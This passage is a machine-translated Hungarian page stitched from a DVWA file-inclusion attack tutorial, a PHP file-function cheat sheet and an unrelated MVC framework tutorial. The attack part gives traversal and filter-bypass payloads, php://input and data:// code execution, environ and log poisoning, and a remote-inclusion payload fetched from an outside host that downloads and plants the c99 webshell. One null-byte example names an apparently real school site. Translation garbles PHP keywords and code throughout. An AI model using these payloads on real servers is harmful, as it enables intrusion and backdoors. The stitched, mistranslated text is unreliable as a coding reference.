Kitalált php fájl megtekintése. Fájl – beolvassa a fájl tartalmát, és egy tömbbe helyezi. Fájlokkal való munkavégzés a szerveren

Néha a fájlbefecskendezést befogadásnak nevezik, néha a PHP injekció (kódinjektálás) részének tekintik. Ez utóbbi nem teljesen igaz, mivel a fájlbefecskendezési sebezhetőségek nem feltétlenül a kódfuttatáshoz kapcsolódnak.

A biztonsági rés akkor fordulhat elő (PHP-ban) kifejezések használatakor, mint például:

  • igényel_egyszer,
  • include_once,
  • tartalmazza,
  • igényelnek

Mindegyiknek vannak apró árnyalatai, de közös bennük, hogy egy fájlt tartalmaznak a programban, és végrehajtják azt. Ezek a kifejezések problémákat okozhatnak, ha átadják a felhasználói bevitelt, és a program nem szűri ki eléggé.

Egyébként igen, ezek kifejezések, nem függvények. Nem kötelező így írni:

Require("somefile.php");

Egy előnyösebb lehetőség a következő:

Szükséges a "somefile.php";

De ez egy visszavonulás, aminek semmi köze a sebezhetőséghez.

Ha a fájlok szerepelnek a szükséges_egyszer, include_once, include, demand kifejezésekkel, akkor azt mondhatjuk, hogy a kódbefecskendezés is egyidejűleg megtörténik. Lehetőség van azonban fájlok beillesztésére anélkül, hogy kód futna a szerveren. Például egy webhely megváltoztatja megjelenését a felhasználó által választott téma alapján. A témák neve megegyezik a szerveren olvasott HTML-fájlok nevével. Ebben a helyzetben, ha a kérés úgy van kialakítva, hogy egy nem erre szánt fájlt olvasson (például egy PHP fájlt), akkor a parancsok végrehajtása helyett a PHP forráskód jelenik meg.

A felhasználó megadhat egy távoli vagy helyi fájlt felvételi fájlként. Ennek alapján két megfelelő fajtát különböztetünk meg:

  • helyi fájl injekció
  • távoli fájl injekció

A távoli beillesztés veszélye tetszőleges kód futtatása egy sérülékeny szerveren. Ezt általában hátsó ajtó fertőzések esetén használják.

A helyi fájlbefecskendezés veszélye, hogy a felhasználó olyan fájlok tartalmát jelenítheti meg, amelyek megtekintésére nincs jogosultsága (programforráskódok, rendszerfájlok beállításokkal és jelszavakkal). Helyi beillesztéssel lehetőség van harmadik féltől származó kód futtatására is (például hátsó ajtó fertőzéshez), ha korábban rosszindulatú kódot tartalmazó fájlt töltöttek fel a szerverre, vagy naplómérgezési módszert alkalmaztak, vagy más módszereket.

A fájlok helyi felvétele nem kevésbé veszélyes, mint a távoli fájlok bevezetése.

Helyi fájlbeágyazás kihasználása

Kipróbálhatja ezt a biztonsági rést a Damn Vulnerable Web Application (DVWA) alkalmazásban. Web Security Dojo-t használok, ahol a DVWA már telepítve van.

Kezdjük alacsony szinten (alacsony DVWA-biztonság).

Lépjünk a Fájlbefoglalás oldalra: http://localhost/dvwa/vulnerabilities/fi/?page=include.php

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Ha egy fájlnévhez hasonló értéket (fájl1.php, fájl2.php) adunk át argumentumként egy változóhoz, akkor feltételezhetjük, hogy egy include-ot használunk. Mivel a fájl kiterjesztése .php, a fájl valószínűleg a szerveren fut le (tehát kódbefecskendezés lehetséges), és nem csak megjelenítésre jelenik meg.

A DVWA-nak van egy http://localhost/dvwa/about.php oldala, két szinttel feljebb található, próbáljuk meg így nézni: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./ kb.php

Igen, van egy helyi befogadási rés. Belépéskor a felső könyvtárakba (../) történő áttérés nem szűrhető, a beillesztendő fájlok listája nem teljes (a javasolt fájl*.php helyett az about.php-t választottuk).

Néha a rendszer tartalmaz fájlokat is, de a címek például így nézhetnek ki: http://localhost/dvwa/vulnerabilities/fi/?page=file1. Ebben az esetben kiterjesztés adható a szkripthez, és a szkript beágyaz egy fájlt, amelynek neve végül a szkriptben alakul ki. Általában egy sérülékenységet ebben a formában nehéz/lehetetlen kihasználni.

Az emberek gyakran szeretnek valami ehhez hasonlót hozni példaként a helyi fájlbefoglalás kihasználására:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

Amint látjuk, működött. De mivel a webböngészők figyelmen kívül hagyják az /r/n-t (újsor karaktereket), meg kell nyitnunk a kódot, hogy olvashatóvá tegyük a bejegyzéseket:

Sajnos az /etc/passwd fájlban hosszú ideig nincsenek jelszavak.

A szerverről különféle beállítási fájlokat, SSL-tanúsítványokat húzhat le, elvileg minden olyan fájlt, amely minden felhasználó számára nyitva áll olvasásra, vagy amelyhez a webszervernek elegendő olvasási joga van:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

Ami a megosztott tárhelyeket illeti, néha be lehet nézni mások mappáiba (ismét, ha a felhasználói jogok rosszul vannak beállítva).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

A feladatot nehezíti, hogy ismernünk kell a fájl elérési útját.

Távoli fájlinjektálás működése

A PHP egy nagyon rugalmas és fejlesztőbarát programozási nyelv. A fájlbeágyazási parancsok és mások tökéletesen felismerik és helyesen dolgozzák fel nemcsak a helyi fájlokat, hanem az URL-eket is...

Próbáljuk meg a webhely URL-jét https://site/ beírni a fájlnév helyett:

http://localhost/dvwa/vulnerabilities/fi/?page=https://site/

Nézze, milyen érdekesnek bizonyult:

A következő történt: a PHP értelmező parancsot kapott a https://site/ fájl/hely szerepeltetésére. Megnyitotta/letöltötte a megfelelő címet, és az így kapott kódot elküldte PHP programként futtatásra. Mivel a PHP csak a megfelelő címkékkel körülvett kódot hajtja végre (jelen esetben nem volt kód), és minden mást úgy ad ki, ahogy van, a teljes webhelyoldal úgy kerül kiadásra, ahogy van.

Természetesen ez a sérülékenység nem azért érdekes számunkra, mert egy webhelyen keresztül más oldalakat is megtekinthetünk.

  • A hátsó ajtó forráskódjának előállítása/keresése
  • Létrehozunk egy PHP szempontból megfelelő fájlt a szerveren való végrehajtáshoz, amely a hátsó ajtó forráskódját egy PHP fájlba menti
  • Mentse el a kapott kódot SZÖVEG fájlba
  • Töltse fel ezt a szöveges fájlt egy ellenőrzött szerverre
  • A hátsó ajtónkat egy sebezhető szerverre mentjük távoli fájlbeillesztés segítségével
  • A „szöveg” szót azért emeltem ki, mert az irányításunk alatt álló szerveren legyen olyan szöveges fájl, amelyet nem szabad a szerverünkön végrehajtani. Szerverünknek csak a tartalmát kell megjelenítenie.

    Hátsóajtó létrehozásához használhatja a Weevely-t, a PhpSploitot, vagy használhat kész megoldásokat. Ezúttal egy készet használjunk.

    A $backdoor változóhoz hozzárendelem a backdoor forráskódját, amit a Githubról töltök le. Ezután a file_put_contents függvénnyel elmentem a kapott forráskódot a c99unlimited.php fájlba.

    A kód, amelyet egy szöveges fájlba helyeztem

    $backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo "kész!";

    Elérhető a http://miloserdov.org/sec.txt címen

    Most egy távoli beágyazó segítségével feltöltünk egy hátsó ajtót egy sebezhető szerverre.

    http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

    Figyeld a felirat kész!, azt a script megjeleníti, i.e. valószínűleg minden sikerült.

    Mivel a fájlokat tartalmazó szkript a http://localhost/dvwa/vulnerabilities/fi/ könyvtárban található, és a hátsó ajtót tartalmazó új fájlunkat c99unlimited.php néven kellett volna elmenteni, a hátsó ajtó teljes címe a sebezhető szervernek a következőnek kell lennie: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

    Ellenőrizzük:

    Remek, most már minden olyan funkciót megtalálunk, amelyre a webszerver rendszergazdájának szüksége lehet... és azoknak, akik hozzáférhetnek a szerverükhöz.

    Kerülje meg a szűrést, ha helyileg tartalmazza a fájlokat

    Térjünk át a közepes biztonsági szintre (a DVWA Security-ben konfigurálható).

    Ha megnézzük a forráskódot (Forrás megtekintése gomb):

    akkor látni fogjuk, hogy a ../ karakterek most szűrve vannak. Ez megakadályozza, hogy a sérülékeny szkript futottnál magasabb könyvtárba lépjenek.

    Azok. semmi sem fog így működni:

    http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

    Gondoljuk végig, hogy ebben az esetben hogyan működik a szűrés? Tegyük fel, hogy a „rossz” szót kiszűrjük, majd egy hasonló sort

    jó rossz jó

    szűrés után így fog kinézni:

    jó jó

    És ha beszúr egy ilyen sort

    rossz rossz xo

    majd szűrés után (a „rossz” el lesz távolítva) kiderül

    Rosszul

    A ../-be ismét beszúrjuk a ../-t középre, kiderül, hogy ..././

    Próbáljuk meg ezt a címet: http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / my.cnf

    Működött!

    Egy másik megoldás lehet a karakterek hexadecimális kódolásba való kódolása, egy példa erre a sorra:

    http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

    "../" helyettesíthető "%2E%2E%2f"-re.

    A dupla hexadecimális kódolást is gyakorolják, amelyben a „../” helyett „%252E%252E%252F”

    Fájlok helyi felvétele kiterjesztés hozzáadásakor a szkripthez

    Ha a fájlokat tartalmazó kód így néz ki:

    Azok. Ha bármely felhasználói bevitelhez .php vagy más kiterjesztést adunk, ez nem teszi lehetővé, hogy a kérés támadást hajtson végre.

    Számos technika létezik a kiterjesztés elvetésére, de ezek elavultnak tekinthetők, mivel PHP 5.3-on működnek, és még akkor sem minden verzión. A webszerver-adminisztrátorok azonban klinikailag konzervatívak, és inkább nem nyúlnak semmihez, ha működik. Azok. Lehetséges, hogy egy nagyon régi PHP-verziót használó szerverrel találkozunk, és érdemes tisztában lenni ezekkel a technikákkal.

    A %00 nullbájt használata (null byte)

    A kérés végén egy null bájt kerül hozzáadásra a kiterjesztés figyelmen kívül hagyásához:

    http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

    A második módszert útmetsző támadásnak nevezik. A lényeg az, hogy a PHP levágja a 4096 bájtnál hosszabb elérési utakat. Ebben az esetben a PHP megfelelően nyitja meg a fájlt, még akkor is, ha a neve végén perjelek és pontok vannak. Ha paraméterként olyasmit adsz meg, hogy?param1=../../../../etc/passwd/./././././ (ahol a ./ sok ezerszer ismétlődik), akkor a végfájlt a kiterjesztéssel együtt (amit a szkript hozzáadott, aminek eredményeként a fájlnév tartalmazza:/../../../../etc/passwd/./././././ .php) el lesz vetve. És a fájl neve tartalmazza:/../../../../etc/passwd/./././././. És mivel a PHP-t nem keverik össze a perjelek és a ./ a fájl végén, egyszerűen figyelmen kívül hagyja őket, így a PHP összesen a következő útvonalon nyitja meg a fájlt:/../../../../etc/ passwd.

    A szűrés megkerülése a távoli fájlbefecskendezéshez

    Ahogy a forráskódban már láttuk, a közepes biztonsági szint a http:// és https:// címeket is kiszűri.

    Most http://localhost/dvwa/vulnerabilities/fi/?. Pontosan ugyanazt a technikát fogjuk alkalmazni, mint a szűrés megkerülésére a helyi beillesztéssel. Generált kérés:

    http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/

    És azt is vedd figyelembe, hogy nincs szűrve, pl ftp, pl. Ez az opció minden trükk nélkül működne:

    http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/

    A PHP-szkriptek forráskódjának beszerzése a php://filter-ből származó fájlok felvételekor

    Ez a trükk nem igényel távoli fájl felvételt. Egyfajta meta-burkoló php://filter kerül felhasználásra.

    Tegyük fel, hogy látni szeretnénk a file1.php fájl forráskódját, akkor a mi helyzetünkre a kérés a következőképpen áll össze:

    http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

    Ügyeljen az értelmetlen betű- és számsorra – ez a file1.php fájl forráskódja base64 kódolásban. Mivel ez base64, a bináris fájlok is támogatottak.

    Dekódoljuk a fájlt:

    Távoli kódvégrehajtás php://input segítségével

    Ez nem olyan, mint a fájlbeágyazás, és megint csak nem szükséges fájlokat feltölteni.

    Segítségül a FireFox kiterjesztést fogom használni, használhatod azt is, vagy bármilyen más programot (pl. curl), amely képes adatátvitelre POST módszerrel.

    A php://input hozzáfér a HTTP kérés nyers törzséhez, hogy megértse, mit csinál az include("php://input"), nyissa meg az oldalt

    http://localhost/dvwa/vulnerabilities/fi/?page=php://input

    A kérés törzsében pedig küldje el a helyes PHP kódot (például POST módszerrel). Ez lehetővé teszi a távoli szerveren engedélyezett bármely funkció végrehajtását!

    Távoli kódfuttatás data://

    Ezenkívül a PHP támogatja a data:// URL sémát, a kódot közvetlenül a GET paraméterben helyezheti el! A következő teszt nem igényel speciális eszközöket, csak egy normál böngészőt a támadás végrehajtásához.

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,

    Egyes webalkalmazások tűzfalai gyanús karakterláncot észlelhetnek az URL-ben, és blokkolhatják a rosszindulatú kérelmet. De van mód a karakterlánc titkosítására legalább base64 kódolással:

    http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

    Tetszőleges parancsok végrehajtása a /proc/self/environ fájlból

    A /proc/self/environ a folyamatváltozó tárolója. Ha az Apache-folyamat elegendő jogosultsággal rendelkezik a hozzáféréshez, akkor egy hasonló URL-lel rendelkező include-ot tartalmazó weboldal megnyitásakor

    www.website.com/view.php?page=../../../../../proc/self/environ

    valami hasonlót fog kiadni

    DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.webhely.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php=? %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx.6x [e-mail védett] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

    Ügyeljen a HTTP_USER_AGENT webhelyre. Ehelyett helyettesítheti a megfelelő PHP-kódot, amely egy távoli szerveren fut le.

    A naplók maratása és beszúrása fájlok helyi felvételekor

    Sajnos ez a módszer már nem működik az Apache legújabb verzióin.

    Lényege abban rejlik, hogy a támadó kódja bekerül a webszerver naplójába. Ezt megteheti a User-Agent lecserélésével, vagy akár egyszerűen átadhatja egy GET paraméterben.

    Távoli fájl statikus befecskendezése

    Példák a statikára:

    Nagyon egzotikus helyzetekben használhat statikus zárványt. A rosszindulatú kód beszúrásához „man-in-the-middle” támadást kell végrehajtani két szerver között: amelyek közül az egyik az include-ot használó webalkalmazást, a másik pedig a beillesztéshez használt fájlt tárolja.

    PHP file_exists("teszt.txt")//Létezik a fájl? filesize("test.txt");//A fájl méretének megállapítása //Az időbélyeg visszaadásra kerül: fileatime("test.txt");//A fájlhoz való utolsó hozzáférés dátuma //date("d M Y" , $atime); filemtime("teszt.txt");//A fájl módosításának dátuma //date("d M Y", $mtime); filectime("teszt.txt");//Fájl létrehozásának dátuma (Windows) //date("d M Y", $ctime); Fájlok: működési módok PHP erőforrás fopen (string fájlnév, karakterlánc mód) // erőforrás - siker esetén mutatót ad vissza a fájlra, hiba esetén FALSE Üzemmód Leírásr r+ w w+ A a+ b
    csak olvasható fájl megnyitása;
    nyissa meg a fájlt olvasáshoz és íráshoz;
    nyissa meg a fájlt csak írásra. Ha létezik, akkor a fájl aktuális tartalma megsemmisül. Az aktuális pozíció az elejére van állítva;
    nyissa meg a fájlt olvasáshoz és íráshoz. Ha létezik, akkor a fájl aktuális tartalma megsemmisül. Az aktuális pozíció az elejére van állítva;
    nyissa meg a fájlt íráshoz. Az aktuális pozíció a fájl végére van állítva;
    nyissa meg a fájlt olvasáshoz és íráshoz. Az aktuális pozíció a fájl végére van állítva;
    feldolgozza a bináris fájlt. Ez a jelző akkor szükséges, ha bináris fájlokkal dolgozik Windows rendszeren.
    Fájlok megnyitása és bezárása PHP-ben PHP $fi = fopen("teszt.html", "w+") or die("Hiba"); //Példák $fi = fopen("http://www.you/test.html","r"); $fi = fopen("http://ftp.you/test.html", "r"); //Fclose($fi) Fájlok olvasása PHP PHP-ben //Fájl beolvasása fread(int fi, int hossza) $str = fread($fi, 5); // Az első 5 karakter beolvasása echo $str; // mivel a kurzor elmozdult $str = fread($fi, 12); // A következő 12 karakter beolvasása echo $str; fgets(int fi[, int hosszúság]) // Sor olvasása fájlból fgetss(int fi, int hossza [, megengedett karakterlánc]) // Olvasson egy sort egy fájlból, és dobja el a HTML-címkéket // karakterlánc megengedett - olyan címkék, amelyek meg kell hagyni fgetc(int fi) //Karaktert beolvas egy fájlból

    Kezdetben az írás a fájl elején történik, a meglévő adatok felülírásával, ha vannak ilyenek. Ezért ha valamit a fájl végére kell írni, akkor be kell állítani a megfelelő olvasási módot, például a+ .

    A kurzor manipulálása PHP fájlokban PHP int fseek(int fi, int offset [, int honnan]) //A kurzor beállítása // int fi - mutató a fájlra //offset - a karakterek száma, amelyekkel el kell haladni. //honnan: //SEEK_SET - a mozgás a fájl elejétől kezdődik; //SEEK_CUR - a mozgás az aktuális pozícióból indul; //SEEK_END - a mozgás a fájl végétől kezdődik. fseek($fi, -10, SEEK_END); //Az utolsó 10 karakter beolvasása $s = fread($fi, 10); $pos = ftell($fi); // Az aktuális pozíció kiderítése rewind($f) // a kurzor visszaállítása bool feof($f) // a fájl vége Közvetlen munka a fájlokkal (adatokkal) PHP-ben PHP tömb fájl(karakterlánc fájlnév) // A tartalom lekérése a fájl tömb formájában // Egy másik lehetőség az adatokkal való közvetlen munkavégzéshez file_get_contents(string filename) //Olvasás (a teljes fájlt egy sorban kapjuk meg) //Írás a fájlba (kezdetben felülírva) file_put_contents(karakterlánc fájlnév) , vegyes adat[,int flag]); //FILE_APPEND // Írd a fájl végére: file_put_contents("test.txt", "data", FILE_APPEND); //Ha tömböt írsz, $array = array("I", "live"); file_put_contents("teszt.txt",$tömb); //akkor az "Ilive"-t kapjuk Fájlok kezelése php-ban PHP copy(string source, string destination); // A fájl másolása rename(str oldname, str newname); // A fájl átnevezése unlink(string filename); // Fájl törlése Fájlok feltöltése a PHP szerverre // PHP.ini beállítások file_uploads (on|off) // fájlfeltöltés engedélyezése vagy letiltása upload_tmp_dir // ideiglenes mappa a feltöltött fájlok számára. alapértelmezés szerint ideiglenes mappa upload_max_filesize (alapértelmezett = 2 Mb) // max. a feltöltött fájl mérete post_max_size // az elküldött űrlap teljes mérete (nagyobbnak kell lennie, mint az upload_max_filesize) //Egyszerű HTML feltöltés A PHP szerveren lévő fájlokkal dolgozunk //Adatok fogadása $tmp = $_FILES["felhasználói fájl"][" tmp_name"]; $név = $_FILES["felhasználói fájl"]["név"]; //A fájl áthelyezése move_uploaded_file($tmp, név); move_uploaded_file($tmp, "feltöltés/".név); // a fájl átirányítása a feltöltési mappába // az aktuális fájlhoz képest // Mi van a $_FILES tömbben $_FILES["felhasználói fájl"]["név"] // fájlnév, például teszt.html $_FILES[ "userfile"][" tmp_name"] // ideiglenes fájlnév (elérési út) $_FILES["userfile"]["size"] // fájlméret $_FILES["felhasználói fájl"]["típus"] // fájltípus $ _FILES["felhasználói fájl"] ["hiba"] // 0 - nincs hiba, szám - igen Sokan azért kezdenek el egy projektet írni, hogy egyetlen feladattal dolgozzanak, ami nem jelenti azt, hogy például többfelhasználós felügyeleti rendszerré nőhet , tartalom vagy ne adj isten produkció. És minden nagyszerűnek és menőnek tűnik, minden működik, amíg nem kezdi megérteni, hogy a leírt kód teljes egészében mankókból és kemény kódból áll. A kód elrendezéssel, lekérdezésekkel és mankóval keveredik, néha még olvashatatlan is. Sürgős probléma merül fel: új funkciók hozzáadásakor nagyon sokáig kell trükköznie ezzel a kóddal, emlékezve a „mi volt odaírva?” és átkozd magad a múltban.

    Talán még hallottál a tervezési mintákról, és még lapozgattál is ezekben a csodálatos könyvekben:

    • E. Gamma, R. Helm, R. Johnson, J. Vlissides „Objektumorientált tervezési technikák. Tervezési minták";
    • M. Fowler "Vállalati szoftveralkalmazások architektúrája".
    A hatalmas kézikönyvek és dokumentációk miatt pedig sokan megpróbálták tanulmányozni a modern keretek bármelyikét, és a megértés bonyolultságával szembesülve (a sok, egymással ügyesen összekapcsolt építészeti koncepció jelenléte miatt) elhalasztották a tanulmányozást és a felhasználást. modern eszközök „a hátsó égőben”.

    Ez a cikk elsősorban kezdőknek lesz hasznos. Mindenesetre remélem, hogy néhány órán belül képet kaphat az MVC minta megvalósításáról, amely minden modern webes keretrendszer alapját képezi, és „táplálékot” kaphat a további elmélkedéshez a „hogyan kell csináld." A cikk végén található egy válogatás hasznos hivatkozásokból, amelyek segítenek megérteni, miből állnak a webes keretrendszerek (az MVC-n kívül), és hogyan működnek.

    A tapasztalt PHP programozók ebben a cikkben valószínűleg nem találnak újat maguknak, de a főszöveghez fűzött megjegyzéseik és megjegyzéseik nagyon hasznosak lehetnek! Mert Elmélet nélkül a gyakorlat lehetetlen, gyakorlat nélkül pedig hiábavaló az elmélet, akkor először lesz egy kis elmélet, aztán áttérünk a gyakorlatra. Ha már ismeri az MVC koncepciót, akkor kihagyhatja az elméleti részt, és közvetlenül a gyakorlatba léphet.

    1. Elmélet Az MVC minta egy alkalmazás felépítésének egyszerű módját írja le, melynek célja az üzleti logika és a felhasználói felület elkülönítése. Ennek eredményeként az alkalmazás könnyebben méretezhető, tesztelhető, karbantartható és természetesen implementálható.

    Nézzük meg az MVC minta fogalmi diagramját (véleményem szerint ez a legsikeresebb diagram, amit láttam):

    Az MVC architektúrában a modell biztosítja az adatok és az üzleti logikai szabályokat, a nézet felelős a felhasználói felületért, a vezérlő pedig interakciót biztosít a modell és a nézet között.

    Egy MVC-alkalmazás tipikus folyamata a következőképpen írható le:

  • Amikor a felhasználó meglátogat egy webes erőforrást, az inicializálási parancsfájl létrehozza az alkalmazás egy példányát, és elindítja azt végrehajtásra.
    Ez megjeleníti például a webhely főoldalának nézetét.
  • Az alkalmazás kérést kap a felhasználótól, és meghatározza a kért vezérlőt és műveletet. A főoldal esetében az alapértelmezett műveletet hajtják végre ( index).
  • Az alkalmazás példányosítja a vezérlőt, és futtatja a műveleti metódust,
    amely például olyan modellhívásokat tartalmaz, amelyek információkat olvasnak ki az adatbázisból.
  • Ezt követően a művelet létrehoz egy nézetet a modellből nyert adatokkal, és az eredményt megjeleníti a felhasználónak.
  • Modell - tartalmazza az alkalmazás üzleti logikáját, és lekérési (ezek lehetnek ORM-metódusok), feldolgozási (például érvényesítési szabályok) és konkrét adatok megadásának metódusait, ami gyakran nagyon sűrűvé teszi, ami teljesen normális.
    A modellnek nem szabad közvetlenül kapcsolatba lépnie a felhasználóval. A felhasználói kéréssel kapcsolatos összes változót fel kell dolgozni a vezérlőben.
    A modell nem generálhat HTML-t vagy más megjelenítési kódot, amely a felhasználó igényeitől függően változhat. Az ilyen kódot nézetekben kell feldolgozni.
    Ugyanez a modell például: a felhasználói hitelesítési modell az alkalmazás felhasználói és adminisztratív részében egyaránt használható. Ebben az esetben az általános kódot áthelyezheti egy külön osztályba, és örökölheti onnan, definiálva az alalkalmazás-specifikus metódusokat a leszármazottaiban.

    Nézet – a vezérlőtől és a modelltől kapott adatok külső megjelenítésének meghatározására szolgál.
    A nézetek HTML-jelölést és kis PHP-kód beillesztéseket tartalmaznak az adatok bejárásához, formázásához és megjelenítéséhez.
    Nem szabad közvetlenül hozzáférni az adatbázishoz. A modelleknek ezt kell tenniük.
    Nem használható felhasználói kérésből származó adatokkal. Ezt a feladatot a vezérlőnek kell elvégeznie.
    Közvetlenül hozzáférhet egy vezérlő vagy modell tulajdonságaihoz és módszereihez, hogy kimenetre kész adatokat kapjon.
    A nézetek általában egy közös sablonra vannak osztva, amelyek minden oldalra közös jelölést tartalmaznak (például fejléc és lábléc), valamint a sablon azon részeit, amelyek a modellből származó adatok megjelenítésére vagy az adatbeviteli űrlapok megjelenítésére szolgálnak.

    A vezérlő az a ragasztó, amely összekapcsolja a modelleket, nézeteket és egyéb összetevőket egy működő alkalmazásba. Az adatkezelő felelős a felhasználói kérések feldolgozásáért. A vezérlő nem tartalmazhat SQL lekérdezéseket. Jobb modellekben tartani őket. A vezérlő nem tartalmazhat HTML-t vagy más jelölést. Érdemes szem előtt tartani.
    A jól megtervezett MVC alkalmazásokban a vezérlők általában nagyon vékonyak, és csak néhány tucat sornyi kódot tartalmaznak. Ugyanez nem mondható el a CMS Joomla Stupid Fat Controllereiről (SFC). A vezérlő logika meglehetősen tipikus, és a legtöbb átkerül az alaposztályokba.
    A modellek éppen ellenkezőleg, nagyon vastagok és tartalmazzák az adatfeldolgozáshoz kapcsolódó kódok nagy részét, mert a benne található adatstruktúra és üzleti logika általában egy adott alkalmazásra jellemző.

    1.1. Front Controller és Page ControllerA legtöbb esetben a felhasználói interakció egy webalkalmazással a hivatkozásokra kattintva történik. Most nézze meg böngészője címsorát – ezt a szöveget erről a linkről kapta. Más hivatkozások, például az oldal jobb oldalán találhatók, eltérő tartalmat kínálnak. Így a hivatkozás egy adott parancsot jelent a webalkalmazáshoz.

    Remélem, már észrevette, hogy a különböző oldalakon teljesen eltérő formátumok lehetnek a címsor felépítéséhez. Mindegyik formátum megjelenítheti egy webalkalmazás architektúráját. Bár ez nem mindig van így, a legtöbb esetben ez egyértelmű tény.

    Tekintsünk két lehetőséget a címsorhoz, amelyek szöveget és egy felhasználói profilt jelenítenek meg.

    Első lehetőség:

  • www.example.com/cikk.php?id=3
  • www.example.com/user.php?id=4
  • Itt minden szkript egy adott parancs végrehajtásáért felelős.

    Második lehetőség:

  • www.example.com/index.php?cikk=3
  • www.example.com/index.php?user=4
  • És itt minden hívás egyetlen index.php szkriptben történik.

    A több érintéspontos megközelítést a phpBB fórumain láthatja. A fórum megtekintése a viewforum.php szkripten keresztül, a téma a viewtopic.php-n keresztül, stb. A második megközelítés, amely egyetlen fizikai parancsfájlon keresztül érhető el, a kedvenc CMS MODX-emben látható, ahol minden hívás az index.php-n keresztül megy.

    Ez a két megközelítés teljesen más. Az első a Page Controller mintára jellemző, a második megközelítést pedig a Front Controller minta valósítja meg. Az oldalvezérlő meglehetősen egyszerű logikával rendelkező webhelyekhez jó. A kérésvezérlő viszont egy helyen konszolidálja az összes kérésfeldolgozási tevékenységet, ami további lehetőségeket biztosít számára, amelyek lehetővé teszik az oldalvezérlő által általában megoldottnál összetettebb feladatok végrehajtását. Az oldalvezérlő megvalósításának részleteibe nem megyek bele, csak annyit mondok, hogy a gyakorlati részben a kérésvezérlő (valami hasonló) lesz a fejlesztés.

    1.2. URL-útválasztás Az URL-útválasztás lehetővé teszi az alkalmazás konfigurálását úgy, hogy olyan URL-címekről érkező kéréseket fogadjon el, amelyek nem felelnek meg a tényleges alkalmazásfájloknak, és olyan CNC-ket használjon, amelyek szemantikailag értelmesek a felhasználók számára, és előnyben részesítik a keresőoptimalizálást.

    Például egy kapcsolatfelvételi űrlapot megjelenítő normál oldalon az URL így nézhet ki:
    http://www.example.com/contacts.php?action=feedback

    Hozzávetőleges feldolgozási kód ebben az esetben:
    switch ($_GET ["action" ]) ( case "about" : request_once ("about.php" ); // "Rólunk" oldaltörés ; case "contacts" : request_once ("contacts.php" ); // oldal "Kapcsolatok" törés ; kis- és nagybetű "feedback" : request_once ("feedback.php" ); // oldal "Visszajelzés" szünet ; alapértelmezett : request_once ("page404.php" ); // oldal "404" szünet ; )
    Szerintem szinte mindenki csinált már ilyet.

    Egy URL-útválasztó motor használatával beállíthatja az alkalmazást, hogy elfogadja az ehhez hasonló kéréseket, hogy ugyanazokat az információkat jelenítse meg:
    http://www.example.com/contacts/feedback

    Itt a kapcsolatok jelentik a vezérlőt, a visszajelzés pedig a kapcsolatvezérlő módszer, amely megjeleníti a visszajelzési űrlapot stb. Erre a kérdésre a gyakorlati részben még visszatérünk.

    Azt is érdemes tudni, hogy sok webes keretrendszer útválasztója lehetővé teszi egyéni URL-útvonalak létrehozását (meghatározza, hogy az URL egyes részei mit jelentenek) és ezek feldolgozására vonatkozó szabályokat.
    Most már elegendő elméleti tudással rendelkezünk ahhoz, hogy továbblépjünk a gyakorlatba.

    2. Gyakorlás Először is hozzuk létre a következő fájl- és mappastruktúrát:


    A jövőre nézve azt mondom, hogy a Model, View és Controller alapvető osztályok az alapmappában lesznek tárolva.
    Gyermekeik a vezérlők, modellek és nézetek könyvtáraiban lesznek tárolva. Az index.php fájl az alkalmazás belépési pontja. A bootstrap.php fájl elindítja az alkalmazás betöltését, az összes szükséges modul csatlakoztatását stb.

    Sorban megyünk; Nyissuk meg az index.php fájlt, és töltsük fel a következő kóddal:
    ini_set("megjelenítési_hibák" , 1 ); request_once "application/bootstrap.php" ;
    Itt nem szabadna kérdésnek lenni.

    Ezután azonnal menjünk a bootstrap.php fájlhoz:
    request_once "core/model.php" ; request_once "core/view.php" ; request_once "core/controller.php" ; request_once "core/route.php" ; Útvonal::start(); //indítsa el a routert
    Az első három sor jelenleg nem létező kernelfájlokat tartalmaz. Az utolsó sorok tartalmazzák az útválasztó osztályát tartalmazó fájlt, és a statikus indítási metódus meghívásával elindítják végrehajtásra.

